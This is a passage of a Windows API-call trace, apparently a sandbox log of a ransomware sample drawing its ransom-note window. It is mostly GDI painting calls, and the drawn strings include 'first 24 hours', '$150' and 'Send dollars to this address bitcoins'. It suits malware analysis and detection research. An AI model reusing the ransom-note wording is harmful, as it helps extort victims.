GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeff5c0) returned 0x0 [0155.573] LocalFree (hMem=0xeff5c0) returned 0x0 [0155.573] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.573] GdipCreateRegion (region=0x19e92c) returned 0x0 [0155.574] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.574] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e938) returned 0x0 [0155.574] GdipSaveGraphics (graphics=0x6915b98, state=0x19e964) returned 0x0 [0155.574] GetWindowTextLengthW (hWnd=0x2021a) returned 14 [0155.574] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xe [0155.574] GetSystemMetrics (nIndex=42) returned 0 [0155.574] GetWindowTextW (in: hWnd=0x2021a, lpString=0x19e860, nMaxCount=15 | out: lpString="first 24 hours") returned 14 [0155.574] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0xd, wParam=0xf, lParam=0x19e860) returned 0xe [0155.574] GetClientRect (in: hWnd=0x2021a, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0155.574] GdipCreateRegion (region=0x19e780) returned 0x0 [0155.574] GdipGetClip (graphics=0x6915b98, region=0x6917f60) returned 0x0 [0155.574] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0155.574] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.574] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e798) returned 0x0 [0155.574] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff5f8 [0155.574] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff5f8) returned 0x0 [0155.574] LocalFree (hMem=0xeff5f8) returned 0x0 [0155.574] GdipCombineRegionRegion (region=0x6917f60, region2=0x6917c70, combineMode=0x1) returned 0x0 [0155.574] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff828 [0155.574] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff828) returned 0x0 [0155.574] LocalFree (hMem=0xeff828) returned 0x0 [0155.575] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.575] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7c0) returned 0x0 [0155.575] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7b0) returned 0x0 [0155.575] GdipGetRegionHRgn (region=0x6917f60, graphics=0x6915b98, hRgn=0x19e7b0) returned 0x0 [0155.575] GdipDeleteRegion (region=0x6917f60) returned 0x0 [0155.575] GdipGetDC (graphics=0x6915b98, hdc=0x19e7c8) returned 0x0 [0155.575] GetCurrentObject (hdc=0xd010725, type=0x1) returned 0xb00017 [0155.575] GetCurrentObject (hdc=0xd010725, type=0x2) returned 0x900010 [0155.575] GetCurrentObject (hdc=0xd010725, type=0x7) returned 0x5050721 [0155.575] GetCurrentObject (hdc=0xd010725, type=0x6) returned 0x8a01c2 [0155.575] SaveDC (hdc=0xd010725) returned 1 [0155.575] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xe204070e [0155.575] GetClipRgn (hdc=0xd010725, hrgn=0xe204070e) returned 0 [0155.575] SelectClipRgn (hdc=0xd010725, hrgn=0xa40406fe) returned 2 [0155.575] DeleteObject (ho=0xe204070e) returned 1 [0155.575] DeleteObject (ho=0xa40406fe) returned 1 [0155.575] OffsetViewportOrgEx (in: hdc=0xd010725, x=0, y=0, lppt=0x30003cc | out: lppt=0x30003cc) returned 1 [0155.575] GetNearestColor (hdc=0xd010725, color=0x323533) returned 0x323533 [0155.575] CreateSolidBrush (color=0x323533) returned 0x27100628 [0155.576] FillRect (hDC=0xd010725, lprc=0x19e7cc, hbr=0x27100628) returned 1 [0155.576] DeleteObject (ho=0x27100628) returned 1 [0155.576] RestoreDC (hdc=0xd010725, nSavedDC=-1) returned 1 [0155.576] GdipReleaseDC (graphics=0x6915b98, hdc=0xd010725) returned 0x0 [0155.576] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd870dbd) returned 0x0 [0155.576] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.576] GetWindowTextLengthW (hWnd=0x2021a) returned 14 [0155.576] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xe [0155.576] GetSystemMetrics (nIndex=42) returned 0 [0155.576] GetWindowTextW (in: hWnd=0x2021a, lpString=0x19e860, nMaxCount=15 | out: lpString="first 24 hours") returned 14 [0155.576] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0xd, wParam=0xf, lParam=0x19e860) returned 0xe [0155.576] GdipGetDC (graphics=0x6915b98, hdc=0x19e7e8) returned 0x0 [0155.576] GetCurrentObject (hdc=0xd010725, type=0x1) returned 0xb00017 [0155.576] GetCurrentObject (hdc=0xd010725, type=0x2) returned 0x900010 [0155.576] GetCurrentObject (hdc=0xd010725, type=0x7) returned 0x5050721 [0155.576] GetCurrentObject (hdc=0xd010725, type=0x6) returned 0x8a01c2 [0155.576] SaveDC (hdc=0xd010725) returned 1 [0155.576] GetNearestColor (hdc=0xd010725, color=0x6994f5) returned 0x6994f5 [0155.576] RestoreDC (hdc=0xd010725, nSavedDC=-1) returned 1 [0155.577] GdipReleaseDC (graphics=0x6915b98, hdc=0xd010725) returned 0x0 [0155.577] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.577] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0155.577] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e78c, fWinIni=0x0 | out: pvParam=0x19e78c) returned 1 [0155.577] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.577] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.577] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e788) returned 0x0 [0155.577] GdipGetDC (graphics=0x6915b98, hdc=0x19e774) returned 0x0 [0155.577] GetCurrentObject (hdc=0xd010725, type=0x1) returned 0xb00017 [0155.577] GetCurrentObject (hdc=0xd010725, type=0x2) returned 0x900010 [0155.577] GetCurrentObject (hdc=0xd010725, type=0x7) returned 0x5050721 [0155.578] GetCurrentObject (hdc=0xd010725, type=0x6) returned 0x8a01c2 [0155.581] SaveDC (hdc=0xd010725) returned 1 [0155.581] GetTextAlign (hdc=0xd010725) returned 0x0 [0155.581] GetTextColor (hdc=0xd010725) returned 0x0 [0155.581] SetTextColor (hdc=0xd010725, color=0x6994f5) returned 0x0 [0155.581] GetCurrentObject (hdc=0xd010725, type=0x6) returned 0x8a01c2 [0155.581] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0155.581] SelectObject (hdc=0xd010725, h=0x390a06de) returned 0x8a01c2 [0155.581] GetBkMode (hdc=0xd010725) returned 2 [0155.581] SetBkMode (hdc=0xd010725, mode=1) returned 2 [0155.581] DrawTextExW (in: hdc=0xd010725, lpchText="first 24 hours", cchText=14, lprc=0x19e708, format=0x100000, lpdtp=0x3000884 | out: lpchText="first 24 hours", lprc=0x19e708) returned 29 [0155.582] RestoreDC (hdc=0xd010725, nSavedDC=-1) returned 1 [0155.582] GdipReleaseDC (graphics=0x6915b98, hdc=0xd010725) returned 0x0 [0155.582] GdipGetDC (graphics=0x6915b98, hdc=0x19e924) returned 0x0 [0155.582] BitBlt (hdc=0x1b010670, x=0, y=0, cx=165, cy=29, hdcSrc=0xd010725, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.582] GdipReleaseDC (graphics=0x6915b98, hdc=0xd010725) returned 0x0 [0155.582] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.582] SelectObject (hdc=0xd010725, h=0x85000f) returned 0x5050721 [0155.582] DeleteDC (hdc=0xd010725) returned 1 [0155.582] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.583] EndPaint (hWnd=0x2021a, lpPaint=0x19e8c8) returned 1 [0155.583] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.583] IsWindowUnicode (hWnd=0x2021c) returned 1 [0155.583] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.583] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.583] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.583] BeginPaint (in: hWnd=0x2021c, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0155.583] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.583] CreateCompatibleDC (hdc=0x10105d6) returned 0xf010725 [0155.583] SelectObject (hdc=0xf010725, h=0x5050721) returned 0x85000f [0155.583] GdipCreateFromHDC (hdc=0xf010725, graphics=0x19e8e4) returned 0x0 [0155.584] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.584] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=79, height=33, combineMode=0x0) returned 0x0 [0155.584] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0155.584] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.584] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e944) returned 0x0 [0155.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff5c0 [0155.584] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeff5c0) returned 0x0 [0155.584] LocalFree (hMem=0xeff5c0) returned 0x0 [0155.584] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.584] GdipCreateRegion (region=0x19e92c) returned 0x0 [0155.584] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.584] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e938) returned 0x0 [0155.584] GdipSaveGraphics (graphics=0x6915b98, state=0x19e964) returned 0x0 [0155.584] GetWindowTextLengthW (hWnd=0x2021c) returned 4 [0155.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4 [0155.584] GetSystemMetrics (nIndex=42) returned 0 [0155.584] GetWindowTextW (in: hWnd=0x2021c, lpString=0x19e874, nMaxCount=5 | out: lpString="$150") returned 4 [0155.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0xd, wParam=0x5, lParam=0x19e874) returned 0x4 [0155.584] GetClientRect (in: hWnd=0x2021c, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0155.584] GdipCreateRegion (region=0x19e780) returned 0x0 [0155.585] GdipGetClip (graphics=0x6915b98, region=0x6917f60) returned 0x0 [0155.585] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0155.585] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.585] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e798) returned 0x0 [0155.585] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff710 [0155.585] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff710) returned 0x0 [0155.585] LocalFree (hMem=0xeff710) returned 0x0 [0155.585] GdipCombineRegionRegion (region=0x6917f60, region2=0x6917c70, combineMode=0x1) returned 0x0 [0155.585] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff710 [0155.585] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff710) returned 0x0 [0155.585] LocalFree (hMem=0xeff710) returned 0x0 [0155.585] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.585] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7c0) returned 0x0 [0155.585] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7b0) returned 0x0 [0155.585] GdipGetRegionHRgn (region=0x6917f60, graphics=0x6915b98, hRgn=0x19e7b0) returned 0x0 [0155.585] GdipDeleteRegion (region=0x6917f60) returned 0x0 [0155.585] GdipGetDC (graphics=0x6915b98, hdc=0x19e7c8) returned 0x0 [0155.585] GetCurrentObject (hdc=0xf010725, type=0x1) returned 0xb00017 [0155.585] GetCurrentObject (hdc=0xf010725, type=0x2) returned 0x900010 [0155.585] GetCurrentObject (hdc=0xf010725, type=0x7) returned 0x5050721 [0155.585] GetCurrentObject (hdc=0xf010725, type=0x6) returned 0x8a01c2 [0155.586] SaveDC (hdc=0xf010725) returned 1 [0155.586] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa50406fe [0155.586] GetClipRgn (hdc=0xf010725, hrgn=0xa50406fe) returned 0 [0155.586] SelectClipRgn (hdc=0xf010725, hrgn=0xe404070e) returned 2 [0155.586] DeleteObject (ho=0xa50406fe) returned 1 [0155.586] DeleteObject (ho=0xe404070e) returned 1 [0155.586] OffsetViewportOrgEx (in: hdc=0xf010725, x=0, y=0, lppt=0x3000c94 | out: lppt=0x3000c94) returned 1 [0155.586] GetNearestColor (hdc=0xf010725, color=0x323533) returned 0x323533 [0155.586] CreateSolidBrush (color=0x323533) returned 0x28100628 [0155.586] FillRect (hDC=0xf010725, lprc=0x19e7cc, hbr=0x28100628) returned 1 [0155.586] DeleteObject (ho=0x28100628) returned 1 [0155.586] RestoreDC (hdc=0xf010725, nSavedDC=-1) returned 1 [0155.586] GdipReleaseDC (graphics=0x6915b98, hdc=0xf010725) returned 0x0 [0155.586] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd850dbd) returned 0x0 [0155.586] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.586] GetWindowTextLengthW (hWnd=0x2021c) returned 4 [0155.586] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4 [0155.587] GetSystemMetrics (nIndex=42) returned 0 [0155.587] GetWindowTextW (in: hWnd=0x2021c, lpString=0x19e874, nMaxCount=5 | out: lpString="$150") returned 4 [0155.587] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0xd, wParam=0x5, lParam=0x19e874) returned 0x4 [0155.587] GdipGetDC (graphics=0x6915b98, hdc=0x19e7e8) returned 0x0 [0155.587] GetCurrentObject (hdc=0xf010725, type=0x1) returned 0xb00017 [0155.587] GetCurrentObject (hdc=0xf010725, type=0x2) returned 0x900010 [0155.587] GetCurrentObject (hdc=0xf010725, type=0x7) returned 0x5050721 [0155.587] GetCurrentObject (hdc=0xf010725, type=0x6) returned 0x8a01c2 [0155.587] SaveDC (hdc=0xf010725) returned 1 [0155.587] GetNearestColor (hdc=0xf010725, color=0xfdfdfa) returned 0xfdfdfa [0155.587] RestoreDC (hdc=0xf010725, nSavedDC=-1) returned 1 [0155.587] GdipReleaseDC (graphics=0x6915b98, hdc=0xf010725) returned 0x0 [0155.588] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.588] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0155.588] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e78c, fWinIni=0x0 | out: pvParam=0x19e78c) returned 1 [0155.588] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.588] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.588] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e788) returned 0x0 [0155.588] GdipGetDC (graphics=0x6915b98, hdc=0x19e774) returned 0x0 [0155.588] GetCurrentObject (hdc=0xf010725, type=0x1) returned 0xb00017 [0155.588] GetCurrentObject (hdc=0xf010725, type=0x2) returned 0x900010 [0155.588] GetCurrentObject (hdc=0xf010725, type=0x7) returned 0x5050721 [0155.588] GetCurrentObject (hdc=0xf010725, type=0x6) returned 0x8a01c2 [0155.588] SaveDC (hdc=0xf010725) returned 1 [0155.589] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0155.589] SelectObject (hdc=0xf010725, h=0x230a0712) returned 0x8a01c2 [0155.589] GetBkMode (hdc=0xf010725) returned 2 [0155.589] SetBkMode (hdc=0xf010725, mode=1) returned 2 [0155.589] DrawTextExW (in: hdc=0xf010725, lpchText="$150", cchText=4, lprc=0x19e708, format=0x100000, lpdtp=0x3001110 | out: lpchText="$150", lprc=0x19e708) returned 33 [0155.590] RestoreDC (hdc=0xf010725, nSavedDC=-1) returned 1 [0155.590] GdipReleaseDC (graphics=0x6915b98, hdc=0xf010725) returned 0x0 [0155.590] GdipGetDC (graphics=0x6915b98, hdc=0x19e924) returned 0x0 [0155.590] BitBlt (hdc=0x10105d6, x=0, y=0, cx=79, cy=33, hdcSrc=0xf010725, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.590] GdipReleaseDC (graphics=0x6915b98, hdc=0xf010725) returned 0x0 [0155.590] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.590] SelectObject (hdc=0xf010725, h=0x85000f) returned 0x5050721 [0155.591] DeleteDC (hdc=0xf010725) returned 1 [0155.591] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.591] EndPaint (hWnd=0x2021c, lpPaint=0x19e8c8) returned 1 [0155.591] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.591] IsWindowUnicode (hWnd=0x2021e) returned 1 [0155.591] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.591] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.591] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.591] BeginPaint (in: hWnd=0x2021e, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0155.591] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.591] CreateCompatibleDC (hdc=0x60100ce) returned 0x11010725 [0155.591] SelectObject (hdc=0x11010725, h=0x5050721) returned 0x85000f [0155.592] GdipCreateFromHDC (hdc=0x11010725, graphics=0x19e8e4) returned 0x0 [0155.592] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.592] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=109, height=33, combineMode=0x0) returned 0x0 [0155.592] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0155.592] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.592] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e944) returned 0x0 [0155.592] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeff710) returned 0x0 [0155.592] LocalFree (hMem=0xeff710) returned 0x0 [0155.592] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.593] GdipCreateRegion (region=0x19e92c) returned 0x0 [0155.593] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.593] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e938) returned 0x0 [0155.593] GdipSaveGraphics (graphics=0x6915b98, state=0x19e964) returned 0x0 [0155.593] GetClientRect (in: hWnd=0x2021e, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0155.593] GdipCreateRegion (region=0x19e780) returned 0x0 [0155.593] GdipGetClip (graphics=0x6915b98, region=0x6917f60) returned 0x0 [0155.593] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0155.596] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.596] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e798) returned 0x0 [0155.596] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff748) returned 0x0 [0155.596] LocalFree (hMem=0xeff748) returned 0x0 [0155.596] GdipCombineRegionRegion (region=0x6917f60, region2=0x6917c70, combineMode=0x1) returned 0x0 [0155.596] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff668) returned 0x0 [0155.596] LocalFree (hMem=0xeff668) returned 0x0 [0155.596] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.597] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7c0) returned 0x0 [0155.597] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7b0) returned 0x0 [0155.597] GdipGetRegionHRgn (region=0x6917f60, graphics=0x6915b98, hRgn=0x19e7b0) returned 0x0 [0155.597] GdipDeleteRegion (region=0x6917f60) returned 0x0 [0155.597] GdipGetDC (graphics=0x6915b98, hdc=0x19e7c8) returned 0x0 [0155.597] GdipReleaseDC (graphics=0x6915b98, hdc=0x11010725) returned 0x0 [0155.597] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd830dbd) returned 0x0 [0155.597] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.597] GdipGetDC (graphics=0x6915b98, hdc=0x19e7e8) returned 0x0 [0155.598] GdipReleaseDC (graphics=0x6915b98, hdc=0x11010725) returned 0x0 [0155.598] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e788) returned 0x0 [0155.598] GdipGetDC (graphics=0x6915b98, hdc=0x19e774) returned 0x0 [0155.598] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0155.598] SelectObject (hdc=0x11010725, h=0x230a0712) returned 0x8a01c2 [0155.598] DrawTextExW (in: hdc=0x11010725, lpchText="Cost of", cchText=7, lprc=0x19e708, format=0x100000, lpdtp=0x30019b4 | out: lpchText="Cost of", lprc=0x19e708) returned 33 [0155.599] GdipReleaseDC (graphics=0x6915b98, hdc=0x11010725) returned 0x0 [0155.599] GdipGetDC (graphics=0x6915b98, hdc=0x19e924) returned 0x0 [0155.599] GdipReleaseDC (graphics=0x6915b98, hdc=0x11010725) returned 0x0 [0155.599] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.599] EndPaint (hWnd=0x2021e, lpPaint=0x19e8c8) returned 1 [0155.600] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.600] IsWindowUnicode (hWnd=0x20220) returned 1 [0155.600] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.600] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.600] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.600] BeginPaint (in: hWnd=0x20220, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1e0106e1 [0155.600] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.600] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0155.600] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.600] GetSystemMetrics (nIndex=42) returned 0 [0155.600] GetWindowTextW (in: hWnd=0x20220, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0155.600] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0155.600] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.600] EndPaint (hWnd=0x20220, lpPaint=0x19e8f8) returned 1 [0155.601] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.601] IsWindowUnicode (hWnd=0x20222) returned 1 [0155.601] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.601] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.601] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.601] BeginPaint (in: hWnd=0x20222, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0155.601] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.601] CreateCompatibleDC (hdc=0x1b010670) returned 0x14010725 [0155.601] DeleteObject (ho=0x5050721) returned 1 [0155.602] GetObjectType (h=0x1b010670) returned 0x3 [0155.602] CreateCompatibleBitmap (hdc=0x1b010670, cx=1, cy=1) returned 0x3a050720 [0155.602] GetDIBits (in: hdc=0x1b010670, hbm=0x3a050720, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x19e3bc, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3bc) returned 1 [0155.603] GetDIBits (in: hdc=0x1b010670, hbm=0x3a050720, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x19e3bc, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3bc) returned 1 [0155.603] DeleteObject (ho=0x3a050720) returned 1 [0155.603] CreateDIBSection (in: hdc=0x1b010670, lpbmi=0x19e40c, usage=0x0, ppvBits=0x19e900, hSection=0x0, offset=0x0 | out: ppvBits=0x19e900) returned 0x6050721 [0155.603] SelectObject (hdc=0x14010725, h=0x6050721) returned 0x85000f [0155.603] GdipCreateFromHDC (hdc=0x14010725, graphics=0x19e8e4) returned 0x0 [0155.603] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.603] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=391, height=24, combineMode=0x0) returned 0x0 [0155.603] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0155.604] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.604] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e944) returned 0x0 [0155.604] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeffac8 [0155.604] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeffac8) returned 0x0 [0155.604] LocalFree (hMem=0xeffac8) returned 0x0 [0155.604] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.604] GdipCreateRegion (region=0x19e92c) returned 0x0 [0155.604] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.604] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e938) returned 0x0 [0155.604] GdipSaveGraphics (graphics=0x6915b98, state=0x19e964) returned 0x0 [0155.604] GetWindowTextLengthW (hWnd=0x20222) returned 39 [0155.604] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x27 [0155.604] GetSystemMetrics (nIndex=42) returned 0 [0155.604] GetWindowTextW (in: hWnd=0x20222, lpString=0x19e830, nMaxCount=40 | out: lpString="Send dollars to this address bitcoins ") returned 39 [0155.604] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0xd, wParam=0x28, lParam=0x19e830) returned 0x27 [0155.604] GetClientRect (in: hWnd=0x20222, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0155.604] GdipCreateRegion (region=0x19e780) returned 0x0 [0155.604] GdipGetClip (graphics=0x6915b98, region=0x6917f60) returned 0x0 [0155.604] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0155.604] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.604] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e798) returned 0x0 [0155.605] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff9e8 [0155.605] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff9e8) returned 0x0 [0155.605] LocalFree (hMem=0xeff9e8) returned 0x0 [0155.605] GdipCombineRegionRegion (region=0x6917f60, region2=0x6917c70, combineMode=0x1) returned 0x0 [0155.605] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff668 [0155.605] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff668) returned 0x0 [0155.605] LocalFree (hMem=0xeff668) returned 0x0 [0155.605] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.605] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7c0) returned 0x0 [0155.605] GdipIsInfiniteRegion (region=0x6917f60, 